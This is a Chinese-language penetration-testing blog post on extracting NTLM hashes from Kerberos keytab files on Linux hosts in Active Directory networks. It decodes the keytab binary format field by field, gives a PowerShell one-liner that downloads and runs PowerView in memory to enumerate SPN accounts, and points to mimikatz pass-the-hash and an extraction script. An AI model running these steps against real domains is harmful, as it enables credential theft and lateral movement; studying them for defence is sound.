Extracting NTLM Hashes from keytab files

日期: 栏目:跨境 浏览:1657 评论:0

前言

在Active Direcory环境中渗透的时候,肯定有很多linux的机器,做信息收集的时候,可能会发现keytab文件,
正常情况下这玩意会被忽视掉的,但是它里面有我们需要的东西。
就是NTLM HASH

什么是Keytab文件?

Extracting NTLM Hashes from keytab files-第1张图片-Ceacer网络

Keytab文件允许linux机器和Kerberos进行身份验证,这些文件里面包含Kerberos Principals和密钥,用于通过请求票证与Kerberos交互。

这样打开是看不到内容的。
keytab文件的结构记录在https://www.gnu.org/software/shishi/manual/html_node/The-Keytab-Binary-File-Format.html。
在十六进制编辑器中打开它才会更有意义。

数据的含义

为了方便理解,在sublime text里面打开分析。

我将文件分解为较小的块,根据文档来表示数据结构。

0502 - 表示密钥表版本的16位值(在这种情况下为502)0000 0047  - 32位值,表示密钥表文件在这些位之后的字节数。注意,47是71的十六进制形式,因此在0000 0047之后有71个字节 0000c 736f 736c 6162 2e6c 6f63 616c - 16位值表示将跟随多少字节(000c十进制转换是12),在这个例子中,soslab.local是12个字节。0004 6874 7470   - 16位值,表明在委托人的第一部分中有多少字节(在这种情况下为4),后跟相应的字节(本例中为http)0012 7465 7374  312e 736f 736c 6162 2e6c 6f63 616c - 16位值,表明它后面有多少字节专用于主体的剩余部分。同样,0012是十六进制的,因此十进制值是22.余数代表test1.soslab.local。0000 0000  - 表示位类型名称的32位值(在本例中为NT-UNKNOWN)。0000 0000  - 表示时间戳的32位值04-表示密钥版本号的8位值。0017 - 16位值表示使用的加密类型(RC4-HMAC)在这种情况下0010 8955 1acf f889 5768 e489 bb30 54af 94fd - 16位值表示将跟随多少字节(十六进制中的0010转换为二进制中的16),然后是NTLM HASH。

ATTACK

我们已经恢复了一个NTLM HASH,对于我们来说是一个很好的消息,但是我们不知道该哈希与哪个用户相关联。所以,就需要进行SPN查询。

我备注一下什么是SPN吧,服务主体名称(即 SPN)是 Windows 中的一项功能,它允许客户端能够唯一地标识服务的实例。Kerberos 身份验
证使用 SPN 将服务实例与服务登录帐户关联[https://msdn.microsoft.com/enus/library/ms677949(v=vs.85).aspx]
。例如,你可以在那些运行 MSSQL 服务器、HTTP 服务器、打印服务器和其他服务器的服务帐户找到一个用于服务
的 SPN。对于攻击者来说,查询 SPN 是爆破阶段的重要部分。这是因为任何域用户帐户都可以查询与 Active
Directory 关联的所有服务帐户和服务器的 AD。我们可以在不扫描单个主机的情况下识别所有数据库服务器和 Web
服务器!这是雪茗小姐姐那本译文上面的。

powershell:

iex (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1');Get-NetUser -SPN

最后用mimi进行pth攻击就行了。

Python Script for Hash Extraction

作者写了个脚本用来提权这个文件的hash
https://github.com/sosdave/KeyTabExtract


评论留言

我要留言

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。发布前请先查看评论规则:点我查看